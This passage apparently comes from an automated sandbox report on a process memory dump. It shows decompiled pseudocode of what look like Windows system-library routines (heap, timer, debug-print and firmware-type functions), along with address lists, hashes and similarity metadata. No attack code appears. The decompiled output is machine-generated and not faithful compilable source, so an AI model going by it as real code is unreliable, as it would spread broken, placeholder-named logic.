							 *(_t132 + 0x10) = (_t100 << 0x00000002 ^ _t146) & 0x000000fc ^ _t146;
							 *((short*)(_t132 + 0xc)) = _t177 - _v48;
							_t47 =  &_a8;
							 *_t47 = _a8 & 0x00000001;
							if( *_t47 == 0) {
								E04B32280(_t179 + 0x30, _t179 + 0x30);
							}
							_t147 =  *(_t179 + 0x34);
							_t159 =  *(_t179 + 0x38) & 1;
							_v68 = 0;
							if(_t147 == 0) {
								L35:
								E04B2B090(_t179 + 0x34, _t147, _v68, _t132);
								if(_a8 == 0) {
									E04B2FFB0(_t132, _t177, _t179 + 0x30);
								}
								asm("lock xadd [eax], ecx");
								asm("lock xadd [eax], edx");
								_t132 = 0;
								_v72 = _v72 & 0;
								_v68 = _v72;
								if(E04B37D50() == 0) {
									_t113 = 0x7ffe0388;
								} else {
									_t177 = _v64;
									_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
								}
								if( *_t113 == _t132) {
									_t166 = _v68;
									goto L46;
								} else {
									_t166 = _v68;
									E04BCFEC0(_t132, _t179, _t166, _t177 + 0x1000);
									goto L12;
								}
							} else {
								L23:
								while(1) {
									if(_v72 < ( *(_t147 + 0xc) & 0xffff0000)) {
										_t122 =  *_t147;
										if(_t159 == 0) {
											L32:
											if(_t122 == 0) {
												L34:
												_v68 = 0;
												goto L35;
											}
											L33:
											_t147 = _t122;
											continue;
										}
										if(_t122 == 0) {
											goto L34;
										}
										_t122 = _t122 ^ _t147;
										goto L32;
									}
									_t122 =  *(_t147 + 4);
									if(_t159 == 0) {
										L27:
										if(_t122 != 0) {
											goto L33;
										}
										L28:
										_v68 = 1;
										goto L35;
									}
									if(_t122 == 0) {
										goto L28;
									}
									_t122 = _t122 ^ _t147;
									goto L27;
								}
							}
						}
					}
					_v72 = _v72 & 0x00000000;
					goto L11;
				}
			}

0x04bde547
0x04bde549
0x04bde54f
0x04bde553
0x04bde557
0x04bde55a
0x04bde55c
0x04bde55f
0x04bde561
0x04bde567
0x04bde56b
0x04bde7e2
0x00000000
0x04bde571
0x04bde575
0x04bde577
0x04bde57b
0x04bde57c
0x04bde57d
0x04bde57e
0x04bde57f
0x04bde588
0x04bde58f
0x04bde591
0x04bde592
0x04bde592
0x04bde596
0x04bde59e
0x04bde5a0
0x04bde5a6
0x04bde61d
0x04bde61d
0x04bde621
0x04bde623
0x04bde630
0x04bde630
0x04bde7e6
0x04bde7eb
0x04bde7ed
0x04bde7f4
0x04bde7fa
0x04bde7ff
0x04bde7ff
0x04bde80a
0x04bde812
0x04bde812
0x04bde5ab
0x04bde5b4
0x04bde5b9
0x04bde5be
0x04bde5c0
0x04bde5c2
0x04bde5c8
0x04bde5c9
0x04bde5cb
0x04bde5cc
0x04bde5d5
0x04bde5e4
0x04bde5f1
0x04bde5f8
0x04bde5f8
0x04bde5d5
0x04bde602
0x04bde616
0x04bde63d
0x04bde644
0x04bde64d
0x04bde652
0x04bde657
0x04bde659
0x04bde65b
0x04bde661
0x04bde662
0x04bde664
0x04bde665
0x04bde66e
0x04bde67d
0x04bde68a
0x04bde691
0x04bde691
0x04bde66e
0x04bde6b0
0x00000000
0x04bde6b6
0x04bde6bd
0x04bde6c7
0x04bde6d7
0x04bde6d9
0x04bde6db
0x04bde6de
0x04bde6e3
0x04bde6f3
0x04bde6fc
0x04bde700
0x04bde700
0x04bde704
0x04bde70a
0x04bde70a
0x04bde713
0x04bde716
0x04bde719
0x04bde720
0x04bde761
0x04bde76b
0x04bde774
0x04bde77a
0x04bde77a
0x04bde78a
0x04bde791
0x04bde799
0x04bde79b
0x04bde79f
0x04bde7aa
0x04bde7c0
0x04bde7ac
0x04bde7b2
0x04bde7b9
0x04bde7b9
0x04bde7c7
0x04bde806
0x00000000
0x04bde7c9
0x04bde7d1
0x04bde7d8
0x00000000
0x04bde7d8
0x00000000
0x00000000
0x04bde722
0x04bde72e
0x04bde748
0x04bde74c
0x04bde754
0x04bde756
0x04bde75c
0x04bde75c
0x00000000
0x04bde75c
0x04bde758
0x04bde758
0x00000000
0x04bde758
0x04bde750
0x00000000
0x00000000
0x04bde752
0x00000000
0x04bde752
0x04bde730
0x04bde735
0x04bde73d
0x04bde73f
0x00000000
0x00000000
0x04bde741
0x04bde741
0x00000000
0x04bde741
0x04bde739
0x00000000
0x00000000
0x04bde73b
0x00000000
0x04bde73b
0x04bde722
0x04bde720
0x04bde6b0
0x04bde618
0x00000000
0x04bde618

Strings

`, xrefs: 04BDE670
`, xrefs: 04BDE5D7

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction ID: 864133c1be7f7cabd5b95a6e1e70370fd7be4a523d1fd19d99c849befddd13a7
Opcode Fuzzy Hash: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction Fuzzy Hash: 8C918C31204B429FE764CE25C841B2BBBE5FF84714F1489ADF9A9CA280E775F904CB52

Uniqueness

Uniqueness Score: -1.00%

Function 04B951BE, Relevance: 2.7, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E04B951BE(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				short* _t108;
				signed int _t110;
				signed int _t113;
				signed int* _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0x4bf05f0);
				E04B6D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t118 - 0x80)) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					E04B2EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *((intOrPtr*)(_t118 - 0x80));
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E04B953CA(0);
						return E04B6D130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					E04B5F3E0(_t108, _t101, _t115);
					 *((short*)(_t115 +  *((intOrPtr*)(_t118 - 0x80)))) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E04B33690(1, _t117, 0x4af1810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *((intOrPtr*)(_t118 - 0x70)) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E04B5AA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = L04B34620(_t105,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8,  *((intOrPtr*)(_t118 - 0x70)));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *((intOrPtr*)(_t118 - 0x70)));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E04B5AA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E04B9500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t118 - 0x3c >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E04B59860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}

0x04b951be
0x04b951c3
0x04b951c8
0x04b951cd
0x04b951d0
0x04b951d3
0x04b951d8
0x04b951db
0x04b951de
0x04b951e0
0x04b951e3
0x04b951e6
0x04b951e8
0x04b95342
0x04b95351
0x04b95356
0x04b9535a
0x04b95360
0x04b95363
0x04b95366
0x04b95369
0x04b95369
0x04b9536b
0x04b9536b
0x04b95370
0x04b953a3
0x04b953a4
0x04b953a6
0x04b953ab
0x04b953ab
0x04b953ae
0x04b953ae
0x04b953b5
0x04b953bf
0x04b953bf
0x04b95375
0x04b95396
0x04b953a0
0x04b953a0
0x00000000
0x04b95396
0x04b95377
0x04b95379
0x04b9537f
0x04b9538c
0x04b95390
0x00000000
0x04b95390
0x04b951ee
0x04b951f1
0x04b95301
0x04b95310
0x04b95315
0x04b95318
0x04b9531b
0x04b95320
0x04b9532e
0x04b95331
0x00000000
0x04b95331
0x04b95328
0x04b95329
0x00000000
0x04b95329
0x04b951fa
0x04b95235
0x04b95236
0x04b95239
0x04b9523f
0x04b95240
0x04b95241
0x04b95242
0x04b95246
0x04b95247
0x04b9524e
0x04b95251
0x04b95267
0x04b95269
0x04b9526e
0x04b9527d
0x04b9527e
0x04b95281
0x04b95282
0x04b95287
0x04b95288
0x04b9528a
0x04b9528f
0x04b95294
0x00000000
0x00000000
0x04b9529a
0x04b9529c
0x04b9529e
0x04b9529e
0x04b952a4
0x04b952b0
0x00000000
0x00000000
0x04b952ba
0x04b952bc
0x04b952bc
0x04b952d4
0x04b952d9
0x04b952dc
0x04b952e1
0x00000000
0x00000000
0x04b952e7
0x04b952f4
0x00000000
0x04b952f4
0x04b95270
0x00000000
0x04b95270
0x04b951fc
0x04b951fd
0x04b95202
0x04b95203
0x04b95205
0x04b9520a
0x04b9520f
0x00000000
0x00000000
0x04b9521b
0x04b95226
0x04b9522b
0x04b9521d
0x04b9521d
0x04b95222
0x04b95222
0x04b9522d
0x00000000

Strings

Legacy, xrefs: 04B95226
UEFI, xrefs: 04B9521D

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: be7e2bba8269e873cde6a6db182c07187fccfdc14a879b4e9c8ea1e8976a52c7
Instruction ID: 08ec6e95087cb1860e26d24c50a02d88270e564e69fb937e0539d12989929620
Opcode Fuzzy Hash: be7e2bba8269e873cde6a6db182c07187fccfdc14a879b4e9c8ea1e8976a52c7
Instruction Fuzzy Hash: B4518FB2A44608AFDF25DFA8C950BADB7F8FF48704F5440ADE50AEB251D670AD00CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04B1B171, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E04B1B171(signed short __ebx, intOrPtr __ecx, intOrPtr* __edx, intOrPtr* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				void* _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				intOrPtr* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				intOrPtr* _t110;
				void* _t111;
				void* _t114;
				intOrPtr* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0x4bef7a8);
				E04B6D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *((intOrPtr*)(_t114 - 0x84)) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E04B6D130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E04B5D000(0x80);
						 *((intOrPtr*)(_t114 - 0x18)) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *((intOrPtr*)(_t114 - 0x84));
						_t110 =  *((intOrPtr*)(_t114 - 0x84));
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						E04B5F3E0(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t111 + _t108;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *((intOrPtr*)(_t114 - 0x5c)) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											L04B6DEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E04B5B280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E04B5B7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E04B5E2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E04B5A890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x04b1b171
0x04b1b171
0x04b1b171
0x04b1b171
0x04b1b171
0x04b1b176
0x04b1b17b
0x04b1b180
0x04b1b186
0x04b1b18f
0x04b1b198
0x04b1b1a4
0x04b1b1aa
0x04b74802
0x04b74802
0x04b74805
0x04b7480c
0x04b7480e
0x04b1b1d1
0x04b1b1d3
0x04b1b1de
0x04b1b1de
0x04b74817
0x04b7481e
0x04b74820
0x04b74822
0x04b74822
0x04b74824
0x04b74824
0x04b7482a
0x00000000
0x00000000
0x04b74835
0x04b7483a
0x04b7483d
0x04b7483f
0x04b74842
0x04b74842
0x04b74842
0x04b74846
0x04b7484c
0x04b7484e
0x04b74851
0x04b74851
0x04b74853
0x04b74854
0x04b74854
0x04b74858
0x04b7485a
0x04b7485a
0x04b7485d
0x04b7485f
0x04b74861
0x04b74861
0x04b74866
0x04b7486b
0x04b7486e
0x04b74871
0x04b74876
0x04b74876
0x04b74878
0x04b7487b
0x04b74884
0x04b74884
0x00000000
0x04b7487d
0x04b7487d
0x04b74882
0x04b74889
0x04b74889
0x04b7488f
0x04b74891
0x04b748e0
0x04b748e2
0x04b748e4
0x04b748e4
0x04b748e7
0x04b748e7
0x04b748ed
0x04b748f4
0x04b748f6
0x04b74951
0x04b74951
0x04b74953
0x04b74953
0x04b74956
0x04b74956
0x04b74958
0x04b74959
0x04b74959
0x04b7495d
0x04b7495d
0x04b7495f
0x04b7495f
0x04b74965
0x04b74969
0x04b749ba
0x04b749ba
0x04b749c1
0x04b749c5
0x04b749cc
0x04b749d4
0x04b749d7
0x04b749da
0x04b749e4
0x04b749e5
0x04b749f3
0x04b74a02
0x00000000
0x04b74a02
0x04b74972
0x04b74974
0x00000000
0x00000000
0x04b74976
0x04b74979
0x04b74982
0x04b74983
0x04b74984
0x04b7498b
0x04b7498d
0x04b74991
0x04b74993
0x04b74999
0x04b7499d
0x04b749a2
0x04b749a2
0x04b749a2
0x04b74999
0x04b749ac
0x00000000
0x04b749b3
0x04b748f8
0x04b748fe
0x00000000
0x00000000
0x00000000
0x04b748fe
0x04b74895
0x04b7489c
0x04b748ad
0x04b748b2
0x04b748b5
0x04b748b7
0x04b748ba
0x04b748bc
0x04b748c6
0x04b748c6
0x04b748cb
0x04b748d1
0x04b748d4
0x04b748d8
0x04b748d8
0x00000000
0x04b748d8
0x04b748be
0x04b748c0
0x00000000
0x00000000
0x04b748c2
0x00000000
0x00000000
0x00000000
0x04b748c4
0x00000000
0x04b74882
0x04b7487b
0x04b74904
0x04b74906
0x00000000
0x00000000
0x04b74908
0x04b7490e
0x00000000
0x00000000
0x04b74910
0x04b74917
0x04b74917
0x00000000
0x04b74917
0x04b1b1ba
0x04b747f9
0x04b747fc
0x00000000
0x00000000
0x00000000
0x04b747fc
0x04b1b1c0
0x04b1b1c0
0x04b1b1c3
0x04b1b1cb
0x00000000
0x00000000
0x00000000

APIs

_vswprintf_s.LIBCMT ref: 04B748AD

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: _vswprintf_s
String ID:
API String ID: 677850445-0
Opcode ID: 38a21b9aeae643c2f3d04753e46bf0481c22487deceb9c999a1bf261f73059c7
Instruction ID: 9ba9630d8768bd970a36b56c97cd2f2c37f2d34d252b43c0a94f04fb19571e41
Opcode Fuzzy Hash: 38a21b9aeae643c2f3d04753e46bf0481c22487deceb9c999a1bf261f73059c7
Instruction Fuzzy Hash: 3C51FE71E102698FEF31CF64C844BAEBBB0EF04315F1042E9E869AB292D7746941CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04B3B944, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E04B3B944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				char* _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				signed int _t82;
				intOrPtr _t83;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0x4c0d360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t5 = _t112 + 0xc; // 0x575651ff
				_t105 =  *_t5;
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t50 = _t112 + 4; // 0x5de58b5b
					_t60 =  *__ecx |  *_t50;
					if(( *__ecx |  *_t50) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E04B37D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E04BE8CD6(_t112);
						}
						_push(0);
						_t52 = _t112 + 0x10; // 0x778df98b
						_push( *_t52);
						_t60 = E04B59E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return E04B5B640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t8 = _t112 + 8; // 0x8b000cc2
				_t67 =  *_t8;
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = E04B5CE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(E04B37D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							E04BE8F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_t48 = _t112 + 0x10; // 0x778df98b
						_push( *_t48);
						_t60 = E04B5AF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_t77 =  *0x4c08628; // 0x0
								_v68 = _t77;
								_t78 =  *0x4c0862c; // 0x0
								_v64 = _t78;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_t83 =  *0x4c08628; // 0x0
							_t116 =  *0x4c0862c; // 0x0
							_v76 = _t116;
							_t117 = _v68;
						} while (_t117 != _t83 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}

0x04b3b94c
0x04b3b956
0x04b3b95c
0x04b3b95e
0x04b3b964
0x04b3b969
0x04b3b96d
0x04b3b96d
0x04b3b970
0x04b3b974
0x04b3b97a
0x04b3badf
0x04b3badf
0x04b3bae2
0x04b3bae4
0x04b3bae6
0x04b3baf0
0x04b82cb8
0x04b3baf6
0x04b3baf6
0x04b3baf6
0x04b3bafd
0x04b3bb1f
0x04b3bb1f
0x04b3baff
0x04b3bb00
0x04b3bb00
0x04b3bb03
0x04b3bb03
0x04b3bacb
0x04b3bacf
0x04b3bad0
0x04b3bad1
0x04b3badc
0x04b3badc
0x04b3b980
0x04b3b980
0x04b3b988
0x04b3b98b
0x04b3b98d
0x04b3b990
0x04b3b993
0x04b3b999
0x04b3b99b
0x04b3b9a1
0x04b3b9a5
0x04b3b9aa
0x04b3b9b0
0x04b3b9bb
0x04b3b9c0
0x04b3b9c3
0x04b3b9ca
0x04b3b9cc
0x04b3b9cf
0x04b3b9d3
0x04b3b9d7
0x04b3ba94
0x04b3ba94
0x04b3ba98
0x04b3baa3
0x04b82ccb
0x04b3baa9
0x04b3baa9
